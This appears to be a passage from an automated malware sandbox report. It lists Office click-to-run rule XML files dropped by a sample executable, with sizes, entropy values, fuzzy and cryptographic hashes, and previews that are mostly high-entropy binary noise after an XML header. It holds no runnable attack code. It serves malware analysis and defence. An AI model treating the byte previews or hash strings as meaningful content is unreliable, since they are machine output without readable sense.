Preview:	<?xml..o.H..!....9.V..P...../..!.".h.....N!6.....N..\|}..q........o.w'!!er.VP.........=.E.U.=.o..H".g.9..N.M.iWv..k...;..?.`.d)..B..d.^o.$P[.a}....._A..S....%g....J2....;\Xc.!.../.P.....9:.@.N.'.-..........B...dFL_5..-naEJ..a.$kA.&.........OU...}^S).K".R...q.q%...I<s.L...I.......""...N.{ )............O6....."W....&].D^)...IU..$..X.}..l.@H&..S\|.7....$..J.!..........PZ.i.$.~t...":..M.Kg...f...8...-B....e"..}@.. J..._..9..p.....!\...^x."$..K..G.^.4h.;..raB.8...s.0..\|.R.6"..NG..un..........5..s;(......k.KK...#...Ucxe........'...d...Jj..7..W=US<V.........Gs../.I.m./...(.)...f.(.1.B.D.fDe?K...t.......;..c.L&s....]..!:,.m...&...w..]..%a@~..\|@H@....F...\..p..e0...K...c.....=$..J....H=......../.\.,\..C{.3.s<..6...Ky.<5_..Pk..........B..!.O..\.K....{.,WVPx.....S.......y...'.f.......b.... ...[l.}Tc.G.;.....:v.....cW.G..c.`.Jx..... ,O......9....E..>G.`..',...M0...u7.v...I..[S.\|..GF..i.@.&C.x..`)L.or..@.w..lO.....Q~... z.k.J.z.Xr.-+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.898147634001188
Encrypted:	false
SSDEEP:	48:gJGiUp0TNXpOx0EPHqNiQkJBAXq/reTjOS/u5HRrJgiD:ARlpO5qVkHAXUrgqRlB
MD5:	6EF23ED3084C381ADC9EBC4BDED46DF9
SHA1:	C34E3F7D209F6E428B3C94DF655E6FA415DB3C7A
SHA-256:	4317533D10E974E5AA30192D5C1E1DBD332C560E47EB64CC051FC9202429753E
SHA-512:	90D4DD0B893EA9EAB109A05AAEC8B3A64DBBF9EE3C19EFB80F28522654F9256FBDA3EFF9F63DDEEE45FBC352861644A876F8886E9A4D676D3BE8911B8B362F82
Malicious:	false
Preview:	<?xml..Ti...cE..[5.7..z..l.Q.....}....0g.N..\|.0.B..8V...N.vWlk..lo.........).zX.'.Qe.X.r........ZM...J.2]K...]....!......HW..3.9..&)p..?9.4....)E..u.SlqUFo2#....`~....y.....SI.....i.?...Z.....D......#.^S.V."..t]E.S=.R.Md.%{l..XJ.l<t...ET...S.y.h..N....b....(Ws...z..t.v.j/..Y......_.c)P....O.L.Q+......_../S.B...y.+..JX.J\|Tj......{~..\.}......Ds....rb.V.....G../+.c....=L64....l9.e.7.Qj..d..Uh...X/............fl.R;.7..u.LP....+eK..T....w...e.jp...NHf.40.Jv..}....<.@Kv#/.)..Sc7...>7.Q..0.2.C....l.@.q.W...-..G'.,...A......dm@.t5,.!...]...........F... ...R^.VZ....0......n........at$}.l.Q...r....Qm...D...1f.6]).g.F...~.K...-....4...,..i..]A......=.Z...\|u.R.....T>.1I..hf.a{j...j[^ .....%....C^....yT...[..;i.B.i....bZ.......,..J..L8\......z.8.k...q.....A.y.../z.&._.........7....D......s..J.)...`.-./u2,.-.F...F8.AD}.o.[..p....mYA.n....$.DV...."YiITt...\|........1.....B.t<.#=5.....)...Y.8..U.j..-;:Fa.Te^o...'.=...`...'....wEK......C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.880505895150324
Encrypted:	false
SSDEEP:	48:8LPQdZMPTXYn+9MD/Klf+ezDlwpd1isU16mGYjG0LjpiD:8boZ4TX39ki2Awpd1isU6mGsjj4
MD5:	6611F655FAE283C1AE4C01A8A8CBC97A
SHA1:	C6AEFE1D8826D944E223F5CA4A22CC807E83D85C
SHA-256:	F88CE06453FF609B4C6411F6141462676F25BFB3E68D8705C4BEDF3088409310
SHA-512:	BDA71189A73A03C5C843F0D841F7FB184207979FEA8FED1D94E2E1C0D24453D7E00684F07EEB6B528A398618A78531FF3C991175C6ECBFF3AAD52DC3BB45A6F3
Malicious:	false
Preview:	<?xml \.(.WDW.H0.. !.W5.BQ..l..G..."C....<.'.o..&e.l.ix..y<..Ue.t%..7.....o.!.eD.$.`,Wx..v+....$R..m..%......&...WT!..,!.9....R...d..t`.{.........S&.b.6...Zp....uC.....$.R.5..5..7J&.?...)d.}Jt$j.).c.a..^..#:..r..:........-..3;..[g.........J,../;.J..}...~..w."..f.^.}.u~.qer&A...+.....#...B.,)...`1.....l...3U..i=56K... ;.Bt.DR...;..pv.o.].w#E..4.E...y.R....(.yh..z..mBw.=.Q.j.U39........~"DU3{{.tDzKX.1._}j.Ja....N?.(...X.....}/...C.p......e..J...x.^....Sm.C/.^.......de....`%..t..X=....'....D.NC?..)..".i.NQ.q..cw.i...&.9T.t.Q......9..."M...S./{....j(....?='..].&.dy.{;..}M...JhX?..2..;.G...".A..wP?B..3...0Mc.G....~....U...-.V.q.N....t....R.3\,..#..........L?./.....M...d...r.2...n...t'(.../.55&.\|0....G"..l..?..0...T..o.\....~..F.XEP...i......f..8.QO&...xX.y..lm...c.....y.@YY.j&{.a....v......\..~n.J.e./_W.L8@.!AIRc.z.......f.A....t.^.]$.U..Y+&A.....R...G..........Dp..r...7....".V\|(..2(V.....}..{..$vt......z.W.@@..d....B....C....\|.\|....).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.897440594685661
Encrypted:	false
SSDEEP:	48:QYxyWv/LmKX6Oot/bPR8YTgJWZE0IcJ9UiD:QzFbPh8KTIcJF
MD5:	911C2A74A9732ACA55F21BBDC3462A0E
SHA1:	659EE37035CCFE3C722F53FF1FF44E00EDC4BA19
SHA-256:	FC8167699CD11EC9D97114B69C3038BDE4E950C9EED3B25C1E2E3337D474D854
SHA-512:	8DDA457CC6A153F3FF7BBAFDCF05CD0C6DA89F1A63F4CA492640FF1A1D71ED15CF04D7D8B42952EE4A34579F64C88954B26FCE5CB6593D3BCD7BEFAF8B78B05C
Malicious:	false
Preview:	<?xml.......t.5);....N... o...0......3...s..h..>B..2M..[A..W,X.$.P.&.G..5.{T.%oU...7.".~..T.g...P.W.n.;....~5p..s..]4.\.\|..d..."..@.......mnC&..~....d...u....H.;.-=..tG.J......kp..%.b...U.4......B...pzl. q.eQ..(.z...........z.X.f6.u.c.Tp.. .n>...%78=...:..z$}.O0=........g..u..m..[.P.S.....z../.N....O]b...t@...^3..K...`....2\.?.w!......).z\\.WS-..L........gO?Z...;J....r-r..P.N..P....8.o?.......i...X.....p....Z.......}.}..`.A.e....a&".!~..C.:...t.A..%...t.l....Gc...#......D .D*...A. .U.Fb..;G..s....w[.lN..R....G..~...0:......rW.4.8@.&B..6q...p.b..N.@.1'.m.aig=...=...DE.s...N...p.@.E..o.3..j.~....?.s..........p...D..............,W\...I...Kt.M6.l;i.....+..5...E...H:~.9...1[.#........y.h..7..>.`.~Yd4.G...........d.......t.X....E....=.N..a..K.x.P...5.....h~.\|......p!W.}qX.5.X#ZX.b...X..#.......Pl.pgV..h.t.:.ST.c.0P}.....k.F......S..T.s...w-.;.c2...S.....g...`....up.....w. ....U.......r.....Y.N....V..........vL...d..8Q.m.........#%...@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.877253643994302
Encrypted:	false
SSDEEP:	48:G0QCbKDbe6FNJrt2i+tj3ykiAtmV9SLBWLLXoLJoiD:7MKiRn+tjykiTDSYLsLB
MD5:	808C94E1A86806C4BA7FA99C4DDE2AED
SHA1:	508A5263549FF6AA241B9F81A77B03572365AAFE
SHA-256:	F182708860BD07146EFD7D838E4965BCCDABD24F0453B2943317E6E307CCCD54
SHA-512:	1FB46F22EF2AC21BC23C082952E046B4284D7729F985DCC1DA9CFDC62ABB95F3BFF2F5074A9A920522061B28FE2DC9884FF04FD1B5124E19F59730B25F568382
Malicious:	false
Preview:	<?xmll.%...4b...h.X..>..?aUo....E%.B..aX....b....Nz...K.+.'.........=. _[.m^...B.,).a...p.9x.K..3-.J.... .u:H;...\|.qy..yS)).@.W^K"'..3..j<..~..Tr.}...uh...I...\|.;=...@uQ....7Sh>.23.4.4...N..C`....%..%6NV.....#....#Q..e.4L......P.,.E...i..H.%>..M...M.W.8....\|q..`.g.Q...QH'&.s^..).8.......O.@..<.k.@L.r.7.h.lvr.t...Ov;.r%C\|.YeE=/.........rn........3.P...v...b.V...e`....3..:?w.._...E....T.n.y.......M.....W.t..D.o]z.....i..I..y....$./4Yh..g5K).. p5..'n.A....}...6c.8..Psx}5.^.h.$`.3y{...+..%(:..p.8>...GE..t.z.T..7..,...\i..?....>.[."..8..i.`.u.m..2....E.%i..T..C<..N0.....N.Oi+1..K...iGN.\..-....E...2.2.r-i........GB.w...m..Ib....U.....N......`...Z.....9...G.9].=P=d....l..$O...;..[M..p.8....=11..&....].-S..t..<....}=....J...s.y.F.M......z....f.<A...1..^S.R.......-7..?...E7Y#...h.yXT"...^.8..CR+........R...+._b..cx[.%)W.T0.b.-..E.NV9....I+...."(.u.....>.x..{.q.(....L......LuWW..e.jJN...m.RbtAzk..._2...b..c....\v..X?+..k...t......jY.>.l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.872869398020443
Encrypted:	false
SSDEEP:	48:p/154vpPvggjsIM5JsxwuK+9O8u3HdGFiD:v54h3gDvPCwGsh3Hr
MD5:	1CE893D894C2FB0B11C9627BDCA6BEC1
SHA1:	FC336FE4C9C3E850C06E9D3F22A9F4E741519EAB
SHA-256:	5EA653A184E043D96A17EA5FAF70CF87B4F2DBCA724B94AC9FDEF34374009768
SHA-512:	3361378E4293CB6A0DACBABE9EF48F12C20AEC00CF4DD683EC0B5269711A8D041611EEFACB2471832C62A4175DE5A31E0D874D86F783FBDB6383D1AFEB17FD7D
Malicious:	false
Preview:	<?xmlJ......m.)........P.%.o..U.$...S)...l.....U..../....5!(....2......z...\Z...(...w6.w..&....V6...`...@4E.U...C.j..7'.X(P..1......+S.p...Bk>..t.7....6x.A....u...z..a].k.Zk.2mH..!...2.F_.^e/~..3.....\|...t.O...}..."...5.....d(.d.>.......B.XF........S.....E.S....W......>.l.wwn...._.p....s.l........!...G..;.S..4h..6.k..S....(x,.....uP.....Rzy.Z....p.r...8.. s.=N...38<..MBD.......:.uy.t..M...."....;.1Z.....G..-_l......>GL 6.b!.Q.Q..N.c..Q...<_.Ht.J....l..vT.\.?...5..^h...}.(.#k...4.y_78.\|.\..;.4e.."..3..m.n......../...q=k.x....n.}..A...z....pug.\l...Z..>b..%..7~.b.Q.^.d....C._.5 ...xB...dRu.,.sUb.\..e..YE..(.T.x..x........N.gJ.v..k....\=.....L.d..lb.)\|.k...2;.@......Z.I.....lB..7H..F....H..4mq...Z~<...X....m.$K~.J....../{+..k..&{].K....KaQc.2J..^.\|.-.].....s..qQ...b ...K.e?.......U@ _M..!.'..0glO.).$....r-.3.z.....Os.ZL1..!.b....;..P......p~R......=$.......8...q.,..Zl..$...6.*.%..eo..3........ .......w..Jjt.I;.K...f^........[<.v...^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.867435659446229
Encrypted:	false
SSDEEP:	48:D844N5L2p+BXADEYdAyAKE7yPe3xTQfHoiMHziD:Fo5L2kTYdoL7yG3xi5Om
MD5:	82CA1B0563FC5E5FB7E9E332A7AF954B
SHA1:	C38208E7F7D21B597C29C8577538D205CA7A2626
SHA-256:	3C465E22F7526A1ED035699493CBD250C4BA7ACA037CECEC179AFFED669FADBA
SHA-512:	914DC97714885D7E236FBFE819B02FA910146D6EFC19FDB820ECF34317561EF9FBBD4C547ADA7E6CF7BF29D95ACC62B870D921EBA094DB65A43585CB8FD536C7
Malicious:	false
Preview:	<?xml.0.K.b.WY&..O.64.......4...T..G.4...H0Q]2..iw....>]...o...!..$.1..(1.`>p.....].,...7..oP..&...i+r.i..F.f(Y..Tu...v.I.e.E,..K&...L..&KG..5i..N.....r..:.j......^s..4.L)....Y...r..T......2.....=...4O..s.~..P.`...8f..w.A..yj.....~H0...y.......H..9!u.....Nm-.........#o....4.u.[..$c..`.....-...d.t.%..]lzTW..C...}kM....q..7..pgh.#.l.(.c...FW.....k.y...x..#.\|m.IXj.}`o...bJ...8nVO.....g.'..q....DD..u...w.G.}.Y.x....5.}5.6m.iF.-r5..@o{?.9^............=v...w..8vi..V./..K.2...A.... .w..X/W..=..9.,.....!..........y. H.....z6..W...JJ^.Y.~^..\|MmeT...5@......$4.sb7o.n[......\.=...s.Ch.....g.7.,.Z.GA..-6.....]..{X.X...xm3..z..Q.=}}-I. ......#z.iK.....0]z.N..c(`.w+z.T!.B[=...:..\.GZ.046..g....&..q`........T..^..[.I..#.GV.^.....p..yw.u..4..4..(;. ...Xg$.cy..g....v.gT...,..}.Z....c.S.,....if.....(..U.e..y....Z..........(.....+r.U...E*I..H9..%.f..u...PNuEO.A.<.54....'.......s.g..(.x.!..2G...n......F."/..`.?.:zZ.8v1...a._sw......O...#]...Y.TE.;k..\|^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.903201104239452
Encrypted:	false
SSDEEP:	48:jWDtxwNRWB/HbTHilnohdZ6OB0wisXahgW6AHckDciD:jW4uBzTHix8dZT1isqhgWN8Ar
MD5:	3E6AE3AC4614E60341081AF030114FCD
SHA1:	E8BBC7C703BA9753C5C5CBF56B7D77BBCB88E422
SHA-256:	98F8A7EDD11623D5E8F68A190F07D28933062F644DD162DF699BD448B5235229
SHA-512:	E262C4BBD714B3C49883FBB4FAE05A02091860806DF7801717AEDB04AC407172C4A0D2B769657A2266956AE0D31B86A1DF787F2CCDAC3FE76739EFDD10048C64
Malicious:	false
Preview:	<?xml.....f...@.....#..$.l[.._q...ie....O...K.h..q............$.T.....)....u>...Q`..U....O=.A...T.I.`q.^.y.h.W....D.D...:.B..`...9..r.Z8.........zq......xYq.9.R>\|.;._...[......0.o=.C......Gj.~W7)(A...d.L.........-M.l....F.....-9.~....}5...}..9.Z...q...,..J......J.s8...z..9S.....l..\?B..a?p.u ...2..4.$I.<e...<.=.U~.LYb...~...U...P4R.Dn.N.#...A![...85..s.z..}...\|.h.J..U.?..V>_O..Ut.3..+kP7.......v.`.s.t.T...^..Pw..[.Ry"...$N.s#k0.....S.xt. ..Nw.ERH !.-...'.V......P.........P...K.......w......k~+.m.;wY.j>nFJ....:........{c75..a.y..+.....,...^.#-...#Q.......S....yQ....IC....X..%..3.;-v..."...1..Ig...~.5.;O....U........UT7.=w.\|.w..Z-F..S"..zIT....C .].E.z...+W....wfr7......uz...O... .r..TY A.F.t..5.M..^...K...*4...`+f`..U.'Y..G..C.dHO.F..R.n'S.}..z1.o.tm.s.?...Q.C..A...l..^..O.Q.y.bE.\|..H/.....V.-.2.1o..-.P~]X...3.o2nwVE.:>...Wtg.....?QG..Bd........T.pZ..r.D.1...W.,..[....0...N"+.......6<..\|.....7..k9.b......F.........U.Y.z.....u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.883522756219467
Encrypted:	false
SSDEEP:	48:mHwLvPhqhO/f/BCLA3srF8zYj03eSpdhxF0HmVTnqGJVUEbsiD:rJQO/HcrF8K03LH/xVTic
MD5:	18D9150C0C62459ED089CA3509300CFA
SHA1:	B41DF38D62C4AD4E6527E817CEC8603E5F812222
SHA-256:	6859000A3B83F9FB23DF8A6A96F2D1472AE02727334E5F94BE1869E379B1B667
SHA-512:	8AF6085E857BFEE17199795FEDB2DA2AEBDFA055A4CB60A3236B7CACD5DECE6F8147883362A6678DE118ECF638DF3675161F7B89329FC7808C484B4BEA23846E
Malicious:	false
Preview:	<?xml....U8&.-r....x.......}7.YK...H{.T..\|....u...mm......Y.....%.B..<<..z~.Ol....@ .TPA\|qq. .%.I..Q....S...NJ.......\|jzE..L..9\|@p(..p.i...JWn.3.'7l..p....ye..sdl...]...HO.#,tj#.....w.v....4o.)...6p...S.m.A...@............]...."...G.k&3...m.xf....,6].Qgq.+....Z.#I...b_/..E...."b..cH.E[).....dX..B.s...1..6.....D.....)..._w+..=)...........A.W..wF...d..&.R/.....p.0./[....Qj.!y.>.W.AX..\|.T...H..,..[Op...4....-..K...w.!..+410.[)....9J'...r.P\.iR.$.u.l:..'.7+....]T.W>.c.......F...A.(.B(.?o......./.......KZ.=b...8,EU-...&6..0.t8.C.g.\|vx...HT...p..b.....F.Up.f...).6.D.......EH..A...".:.....^J..#..7....Fp....0A.(.O.6.........?r..9.NT.%G.+.e..1......>.m...*.Z.B...A6g.p...{.}{.R...v.....,.2.q.GX.hi....NP[.q.w.p..r..{.........iI.......'.]...`3..%....y^.8(.E@`.z3...~.J...k.P. ...."n.S...s.[...El.-.e..].pA.B..B.$..M.......a.F2.....N.6..N.@^..;.E....6vj...:..C^.....,9z<..O.....mj.(....-\...Pc.vm_.FL.................../.....:...6..T.W..11O.jg..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.882156058798257
Encrypted:	false
SSDEEP:	24:izNaZca6tPE9rBHHgUdXDtf2NaCUQ0o2eGRgJcrQPytag9km1MmyfIxGyyiTkbD:i8ZH6tPEsM5uNauPlFcry14ufYVHiD
MD5:	BA8F70A2D96293670E99D71678276113
SHA1:	AE4D7937F95BB784E9C2B13A3EC3FD673C9C247B
SHA-256:	E2795CB1C78912FA08E3447788BEDA86D13B4B447596D35B7EC2639A3AF4D8CD
SHA-512:	F1790343740D0FA1B3F655AFA33A9D0191468BE31154B0DADB042149130DB11D535F560DA10C2A6AFAE521C76B775F80FCB8BC5D56EA22DF820D668E9A07CC19
Malicious:	false
Preview:	<?xml.....f........>..%n."C.K......R*...]..WkPg.-r5..l......Z.l.{..7.....7..o......p....0..o.`.U).Z.....MU. ........P.>6!y.B.13#d;K.V,.#.g\E..K.U;!..5.X..Di...oG.2..qP.r..{...`....$yxl...\|....'O..x8.V...Ll..7M3..Ih...`8T...( D.b..n.'3.92j...q8...y..&.b5...(...g.....M.3....E.k.'....Jo....#G!...;....-!.8]\.....~....2...PA..t....=9...e...b....kzd...j3...m...6"...K}.....rWt."X.....E......U+......=.4....{ad.i.v...8(TGU<I!.I...0+G&....5...I~C....N...V.k...1r...M.yH......?y...kfb..b.....v........f.a.....$...&...d#:..c..=.P....E..P...g.....A.\.>..98?SmO.,..jvp..k...6.La.Xp..K4...<..j.F..Xp.?_../.J.j_`.\....cW..X^...:....a.M.2.X......n...i...$.&...6.s......%.dX....AN0...Hk.W..^......m....=.y...\|>.d.)f.._.l.d...j.pD.Z..\....Gu.........AH5.0-..w..7.i.$...')..l...X....i...l\|t..8.5..\.\.&).G.......,...&b......%....34-.^.V@.u...$....A.,x.X>D..t.?...{.j.!.8..9A{\|.(...1>U.......Q....0.L.......g.._t=.....D..L......Z..g.{..].._os.6+...6.....6.\2)..Ki.u. ......2.:...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.871296843979245
Encrypted:	false
SSDEEP:	48:5wrMhip290mRtjMR8ZfqsArSRkjChKqKkv6CwTliD:KMsp29RA+RUrgRwqKkyCAU
MD5:	9CFF91E7663FE881AFDFB64E419B04EF
SHA1:	0773AB9F830C9777B3D6BC0A263EB5C16E8194DD
SHA-256:	8E80FF51E0A7D72F763916CC5D6ABDD5022663454DB0E237DFB3299AC34F9762
SHA-512:	D27B3FD22EA09EF1EE65BDA65B123AEF4FE3AC8A3E315F57E4B3E6A450F8F52528093DBB3B9B16345AB4F1613B5BD655F934325E4F839F865E40DC611342BF45
Malicious:	false
Preview:	<?xmlJc.pJ....8.u..8.d)U...!.@......q.Y.j....T...t~...T..+`9F.z.......th.......".J.@...A..j..P..4..../...wau...Y4T..ko.....M.t....R..r...mh..........V.}.A.>.+....s...'S.]Ch.'c..}..r~...k>!-.X...b..a..,....`..E...}5.3m...#s.%.^@".\|...Y-...)...P..'....4.U}4....}..KqR{=.Q.,.W.<[..:A...#89.>.M.........h.'.~..$....m.../v.g.N...wIg..'~.c....\..r.....P#..J.9@y.^I..7@......g.....V^Y_D.q...D>7p4..gf.w...A...G.....s~...Y.?aN...fV.2#...gs....'..6.mE.Jc(\|.ZH..xrD......;%.E...!...u]/2.......}..iMQ..Dy.y........N../n...52..'.$...Y..P...T.*^.r..54.0../T..=.l.DkN..._D.......K...3....9.....!..8U..d!..8.....z....p........y.....rnHO<.kT....C\.Y..t...$4..&..`.&.......Ag..$:wX~...L.%..$t!0..].7w..a..........C.#sQw...y.8Q....E.......Pt.....j..=....o..M..8.............B..v/...+uVMW.2.N..].pl...q.$.X.P4...l.P-..u.R.g#..K....SU>...LJ_KG...2.v....{..~X.b..KB.........s.H.......a{b...c.. ._....q.../..-+...yV.`H.~............8.O....?.".!......0.v..A{sX....C..z+k9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.886982642311907
Encrypted:	false
SSDEEP:	48:wMoOjHTHhVUPK6uJKibXTlIVGGHWDsAZ3iD:wmDhCvqDu2r6
MD5:	F5D7F0622A138C9AC5457842B058F509
SHA1:	0EABB87C18D703C477A735339F58017C1C362670
SHA-256:	D9A78E2E964139FFFCA8B120AC5E1D6350D3F674B767F0B55FDB0F598AE1DEEE
SHA-512:	7F56E5F992568D112ADAA11C2B78C68D2170A70467E802CB29186E9C65AFE0367CAE89F12E7C5F7F4C6DD88A71BF449B5214EAF04BDE52D872400F8C034519B7
Malicious:	false
Preview:	<?xml......7.<..HP<.Lt.T.'.G.]..% X..4..A.LN.p).:&.&....pg......f....I...O?.Q.....\uD..h...L...G.WCx...\|.S..^...~.........Z....z.}..#..>J...;#D?.\.......t.[F=j..{H.uD..Aza..m.^.c\|.E.2..]'.4.>g....`....B..}.uk..Nc.`..3~....WN...v.LI..$..Q..?.X..v3m@...-t....F}..Z.R4..hx...I..{f.,.....,N...l..b.`..M}.T.Ar.. .Z..5.K..d..IjA..i....R..2.W-.L.FW3.T.f...\|.!..W.4@@..._.TM...._......O.S..AR..._.."...9.....n>..Z...D...7n.{,.^....?.h......b:..........[.XTrN...{.W]ws]..#....0....p....?...5...m_.Mc..p.z.,..{..h..F..[..j....@\|.q..>02.+._........'.......6.%<...y..T.....yP....d>..3Q.....S..l.1..4g.g+.."<..p.;B.k.^O..0.F..?..3.5.0.'...J.V..A.>T%......+...ay8.N.p.....^u_:...v...b...c&pf7'..`....t.....&4....t.Cu...UJ..Jq.B....z.u..u.G.4s....'q'....Eb.3...Q._............YA:.6x...r0.zsN.rL..O&.o.2.8..p.QBu.m.V.......Z.\|...r2y.!.\|.KO..?.......p..`b....:.^..$.N...g..(.N..2=.z..RA....2<......)..\|.. -v..vZ..]W...U.......8..sE.T.B~<.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.867956716520803
Encrypted:	false
SSDEEP:	24:nYtFIs7okwIM02d5QH8F67DeobgQY/opjcqjDpF4jrKKplfSAteCs0xbzSEiTkbD:YYsN6dhZobBYoXpFArKK+A9ssSdiD
MD5:	E5498A53E0BD9D5C57C8CEDCD76B54A0
SHA1:	239B4386A9F9A585590493E0AE458A5B28F09BF3
SHA-256:	9072C575B2E18D97FEF1849EB7EED8E45D8B68C853455971B6E41CB213E5D37B
SHA-512:	EF1B4DAA1013AFBE87AED078FCC8C27B076936425D319A75FF2732F45D43E36A5FA2F26E9210BFD7FF5747B08F4A663C6B4CB8B65B0C3E6A4CE4716A146CEC21
Malicious:	false
Preview:	<?xml.Y..t}.K.z.g.\|.C2.9N+d.. ..7.......L.....'.8.x..<..,..^....i..Pn.."...6....s.......?.eW....9S.\....Q.t".i,...m.5IB.k....C.V.Q.vQg.^.:..... .N...D..b....zU,.c..?7.w~..Zy..z..>G...<go<3....S....)..{.?Z.......4...,..?.'Q.@....I........M.......e.@..@.^,.9.....~.ul:...+.=..)._.Y.=v...$..N....W..SuK....4.q.gm Sa.[...^b..Z.;.l......3..V'..+...0...iX....c.G.....'.....!..M^i.t.j..V..B.Z.......@.9s..s.(#.f..RgT.....@w.U....`....'9..h..:..}D.6....`..a..L.l...w'{Cj\|.)eb.L....Jl.S.VE..i.9..H.LQU..[......~.V..W1..z..1.,...u..!.t.>h."cGL..A.a3..Z6u..L...@d.b....3......+oM[.c..<I=@.#O.s. ..K......Qr.k:K...A....M.Z.a.[[.7'....j0.).....o.&}.0"P..$.R.]I.dm0..t... ..w.Z...1n...U..".4RmW..9m}...C.N...o..?.T.im.2h...C...m.y..og..t.eP....y....w...K..4....F&-@_@.. .HS./.G8y..P`P..w...4....'....s...R.qy..Jb..(.e..V....`...A..'._..y..H{..Q.W.?3;1.C.s..%...bj...D..L...@y.f.Z!.<.........tF._..L..............*.D.rn.05...>X..YRR..m....6.E.uU.....s.."..h.@q.t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.514179268734661
Encrypted:	false
SSDEEP:	3072:z8g3CFZrHYIPKorLAZN81lac7yG2x9t8UkjUS9OoQIzgYESF6:z8emZbbQL8xu4tjUSQLIzgYk
MD5:	AFD05BF05B6CABE7436BC894127E4BAC
SHA1:	D2E8C994286308AA079B49B44A2D3311B10C3137
SHA-256:	69F7491495C9AEA79F8500ADFF519BDC4338A151231F9AB9E84C4B6E8817FA70
SHA-512:	D452A6FC6C5C38BAF7D636F60076F0D8F24A5FE24BF34907F2061B60F1D32829D123C1F748E3A41477F257196E9484B5B43358DA192F213928BE93FBCA52B221
Malicious:	false
Preview:	<Rulei.76Z.....ko.>..K(... ..7wPY.S\|Cf..O.b.s.+)!..K..?N.5A....`%'V......TA.U"..>=].&N.'{.U3D.......> ....Nn".y.N..8X...N..e@.km!g.....bo...D.k.X.q.u'.._-07.s.6..B...(.{.........P..g.U.sto..WW.yY.<.W..N.G.9WP.5........ ..M{.}@.J.h....._....g^..nV...c.t5..tq".'.j.=..]@...Y..Z.%m:.%S(=-...\G..:..d.......h.4.,D..}...!:3O.3`K..v.."..E.f0y...\...{8l.?.\|......\....L.j.6...< ..........LY....e;.C....w.5.Q..\V.uTZ.4....."...>........:.....#.....P.xc...S.....?...B...^c...O.iuW.Td..% .k..TxR.?.%O.x..)..../.j....l...z....{.......R.T....n}....62.f..,.5...0J....7.`...D+K-v...ii...H%.Gy...._....vT&e...H..>.C...p...D.J...y..Jt.._.l.4......i.............p....]...#.ai...W..../.P..W).n..d.D.pv9.r.......2.Y.}..Iv...A...VZ4.;.7#_$8L....y...<k..t~..$..1T..4ny..s.`.e.G....!...."...n/.%..x...o`......3 .U1.\...K......'FgT.....1/..F..m.so.....S@)....W.n..g.6E.DQ.H..Wt(}.u.c:....U.b..X=e...X.kG....\|5....I....]2.e./.F...n..^.....Kn..f......2w`.......WS.}.r..%m...M.x(<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.908811028495528
Encrypted:	false
SSDEEP:	48:96gjG9m6KItpqx6+8JfXm1mLR7w7geG/mliD:9pMSIDe6+8JvhC7ge8L
MD5:	80670C34812B841536E8A5B4FB22D66F
SHA1:	01460CDB1AFD4FE466ECD4FDF87A98A21410DC4E
SHA-256:	F8E9A26FC10B8876932EAAC5F0063C181461634A0128EABCF1CE783924C032FE
SHA-512:	5DE73682E1DAF4BB3207FB65BF87C715FBD9F42C0C6CF794BD3E2E100CCDDC8042D25B0C94B9AE664AD9D4E8316D3D32F16781427F7166E8BFA614397511D7DF
Malicious:	false
